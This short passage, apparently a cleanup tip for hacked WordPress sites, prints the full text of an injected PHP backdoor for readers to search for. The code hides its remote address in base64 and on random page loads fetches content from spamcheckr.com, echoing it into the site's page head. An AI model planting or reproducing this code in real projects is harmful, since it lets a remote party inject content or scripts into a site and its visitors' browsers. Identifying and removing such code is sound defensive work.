If you can’t find https://spamcheckr.com/l.php look for the code below.
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_chesk() {if(function_exists('curl_init')) {$addressd=base64_decode("c3BhbWNoZWNrci5jb20vY2hlY2sucGhw");$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_chesk');}}?>
